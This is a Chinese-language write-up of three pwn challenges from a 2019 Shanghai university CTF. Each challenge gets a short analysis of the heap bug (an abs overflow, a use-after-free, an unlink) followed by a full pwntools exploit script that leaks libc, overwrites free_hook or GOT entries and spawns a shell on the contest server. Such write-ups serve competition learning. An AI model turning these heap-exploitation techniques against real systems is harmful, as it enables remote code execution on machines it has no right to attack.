2019上海大学生pwn

这比赛算是ak了,就是自己代码写的太差了一个爆破脚本写了好久。。还有unlink手速不够快啊,没有charlie师傅的手速和代码功底,写的又丑又慢。。。

赶时间写的,群友要wp感觉直接给博客这个方便。。

boring_heap

题目其实利用上挺简单的,就是漏洞的发现上,漏洞在medium的时候abs的溢出,这个溢出导致了后面的一些列操作,可以用house of orange(不是很喜欢),也可以攻击main_arena改top_chunk我用的就是这个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import*

context.log_level = "debug"

#p = process("./pwn")
p = remote("8sdafgh.gamectf.com",10001)
a = ELF("./pwn")
e = a.libc
#gdb.attach(p)
def add(idx,content):
p.recvuntil("5.Exit")
p.sendline("1")
p.recvuntil("Input Size:")
p.sendline(str(idx))
p.recvuntil("Input Content:")
p.send(content)
def delete(idx):
p.recvuntil("5.Exit")
p.sendline("3")
p.recvuntil("Which one do you want to delete?")
p.sendline(str(idx))

def modify(idx,py,content):
p.recvuntil("5.Exit")
p.sendline("2")
p.recvuntil("Which one do you want to update?")
p.sendline(str(idx))
p.recvuntil("Where you want to update?")
p.sendline(str(py))
p.recvuntil("Input Content:")
p.sendline(content)

def show(idx):
p.recvuntil("5.Exit")
p.sendline("4")
p.recvuntil("Which one do you want to view?")
p.sendline(str(idx))

add(2,"\x00"*0x18+p64(0x80)+"\n")
add(2,"aaaaaa\n")
#raw_input()
add(2,p64(0x21)*6)
add(2,p64(0x21)*6)
modify(1,0x80000000,"a"*0x10+"\x00"*8+p64(0x91))
delete(1)
add(2,"8888888\n")#4
show(4)
p.recvuntil("8888888\n")
libc_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))-0x3c4bf8
print hex(libc_addr)
# bss : 0x555555554000+2020C0
add(3,"88\n") #5
add(2,p64(0x21)*6) #6
add(2,p64(0x21)*6) #7
add(2,p64(0x21)*6) #8
modify(6,0x80000000,"a"*0x10+"\x00"*8+p64(0x91))
delete(6)
add(3,"8888888\n") #9
add(2,"8888888\n") #10
delete(10)
modify(7,0,p64(0x0)+p64(0x41)+p64(0x51))
add(2,"8\n")#11
delete(5)
modify(2,0,p64(0x3c4b30+libc_addr))
add(3,"a\n")
add(3,"\x00"*8*7+p64(libc_addr+0x3c4b10-0x10))
add(1,p64(0xf1147+libc_addr)*2+"\n")
p.recvuntil("5.Exit")
p.sendline("1")
p.recvuntil("Input Size:")
p.sendline(str(1))
p.interactive()

login

这个题漏洞在uaf没有leak,但是给了一个login函数可以用来进行爆破libc地址。首先利用uaf构造出任意地址写,然后吧heap地址写成got表地址,利用login函数去爆破出libc地址,具体操作可以看exp理(写的不是很好,但是也花了我好久。。主要还是太菜了)。接下来就是利用任意写,写free_hook然后利用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import*

context.log_level = "debug"

#p = process("./login")
p = remote("8sdafgh.gamectf.com",20000)
a = ELF("./login")
e = a.libc
#gdb.attach(p)
def add(idx,Size,content):
p.recvuntil("5.Exit")
p.sendline("1")
p.recvuntil("Input the user id:")
p.sendline(str(idx))
p.recvuntil("Input the passwords length:")
p.sendline(str(Size))
p.recvuntil("Input the password:")
p.send(content)
def delete(idx):
p.recvuntil("5.Exit")
p.sendline("3")
p.recvuntil("Input the user id:")
p.sendline(str(idx))

def modify(idx,Size,content):
p.recvuntil("5.Exit")
p.sendline("2")
p.recvuntil("Input the user id:")
p.sendline(str(idx))
p.recvuntil("Input the password length:")
p.sendline(str(Size))
p.recvuntil("Input password:")
p.send(content)

def show(idx,content):
p.recvuntil("5.Exit")
p.sendline("4")
p.recvuntil("Input the user id:")
p.sendline(str(idx))
p.recvuntil("Input new pass:")
p.sendline(content)

def po(total,num,string):
s = ""
s = p8(num) + string
add(1,total,s)
p.recvuntil("\n")
t = p.recvuntil("\n")
if t == "Login success!\n":
show(2,p64(0x601F98+5-total)+p64(0x000000000040089e)+p64(0x68))
raw_input()
print "ok"
return True

#modify(0,0x80,"b"*7)
modify(0,0x68,"/bin/sh\x00")
modify(1,0x68,"c\n")
delete(0)
delete(1)
modify(2,0x18,p64(0x601F98+4)+p64(0x000000000040089e)+p64(0x68))
st = "\x7f"

for j in range(2,7):
for i in range(0,0x100):
print j
if po(j,i,st):
st = p8(i)+st
print hex(u64(st.ljust(8,"\x00")))
break
libc_addr = u64(st.ljust(8,"\x00")) -0x844f0
print "libc:"+hex(libc_addr)
free_hook = libc_addr+0x3c67a8
show(2,p64(free_hook)+p64(0x000000000040089e)+p64(0x68))
show(1,p64(libc_addr+0x45390))
modify(4,0x80,"/bin/sh\x00")
delete(4)
#show(1,"\x00"*8+p64(0x21)+p64(0)+p64(0x000000000040089e)+p64(0)+p64(0x91)+p64(0x602040-0x18)+p64(0x602040-0x10))
#delete(0)
p.interactive()

silent

题目本身没有开pie漏洞比较明显是uaf,其实可以利用unlink,这里unlik的构造就看exp吧,其实关键就在unlink构造了,膜那些构造很快的我也是搞了2个小时吧。主要是太菜了,unlink不太用。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*

context.log_level = "debug"

#p = process("./pwn-1")
p = remote("8sdafgh.gamectf.com",35555)
a = ELF("./pwn-1")
e = a.libc
#gdb.attach(p)
def add(idx,content):
p.recvuntil("4.Exit")
p.sendline("1")
p.recvuntil("Which kind of note do you want to add?")
p.sendline(str(idx))
p.recvuntil("Content:")
p.send(content)
def delete(idx):
p.recvuntil("4.Exit")
p.sendline("2")
p.recvuntil("Which kind of note do you want to delete?")
p.sendline(str(idx))

def edit(idx,content):
p.recvuntil("4.Exit")
p.sendline("3")
p.recvuntil("Which kind of note do you want to update?")
p.sendline(str(idx))
p.recvuntil("Content:")
p.sendline(content)


add(2,"a\n")
add(1,"b\n")
edit(2,"\x00"*0x8+p64(0x21)+p64(0x6020D8-0x18)+p64(0x6020D8-0x10)+p64(0x20)+p64(0x90)+p64(0x21)*50)
delete(2)
add(1,"c\n")
add(1,"d\n")

edit(2,"\x00"*0x8+p64(0x21)+p64(0x6020D8-0x18)+p64(0x6020D8-0x10)+p64(0x20)+p64(0x90))
delete(1)

edit(2,p64(0)*2+p64(0x602018))
edit(1,p64(0x400740))
edit(2,p64(0)*2+p64(0x602020))
delete(1)
p.recvuntil("2.Large\n")
libc_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))-0x6f690
print hex(libc_addr)
edit(2,p64(0)*2+p64(0x602018))
edit(1,p64(libc_addr+0x45390))
edit(2,"/bin/sh\x00")
delete(2)
p.interactive()

总结

可以看得出3个题都是一个人出的😂,漏洞点的设置很有创意感觉,单最后都是libc,感觉。。难怪大佬们做的那么快。。也算是从去年一个不会晋升到了ak吧,虽然感觉今年的竞争激烈了。一年确实能改变很多能从0到1,平常还是多搞点真实环境。。。。。